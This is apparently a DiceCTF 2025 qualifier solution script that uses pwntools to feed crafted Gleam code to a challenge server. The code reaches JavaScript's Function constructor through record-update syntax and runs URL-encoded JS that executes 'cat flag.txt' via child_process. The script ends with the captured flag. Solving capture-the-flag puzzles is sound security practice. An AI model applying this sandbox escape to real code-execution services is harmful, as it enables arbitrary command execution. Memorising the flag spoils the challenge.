DiceCTF 2025 Quals - glail (misc)

solve.py

from pwn import *

JS = """
import('child_process').then(r=>console.log(r.execSync('cat flag.txt')+''))
"""

JS = "eval(decodeURIComponent('%s'))" % "".join(f"%{ord(c):02x}" for c in JS)

CODE = (
    """
type Win = fn() -> Nil

pub type Dummy {
    Dummy(constructor: fn(String) -> Win, d: fn() -> Dummy)
}

pub type Hax {
  Hax(constructor: fn() -> Dummy, d: Dummy) 
}

pub fn win() -> Nil {}

pub fn function_prototype(code: String) -> Win {
  win
}

pub fn hax() -> Dummy {
    Dummy(function_prototype, hax)
}

pub fn main() {
  let dummy = Dummy(function_prototype, hax)
  let x = Hax(hax, dummy)
  let y = Hax(..x)
  y.d.constructor("%s")()
}
""".strip()
    % JS
)

# print(CODE)

with remote("dicec.tf", 31333) as io:
    for c in CODE.split("\n"):
        if not c:
            continue
        io.sendlineafter(b">>> ", c.encode())
    io.sendlineafter(b">>> ", b"\n")
    io.interactive()

# dice{5f45c2d75de6c5ee}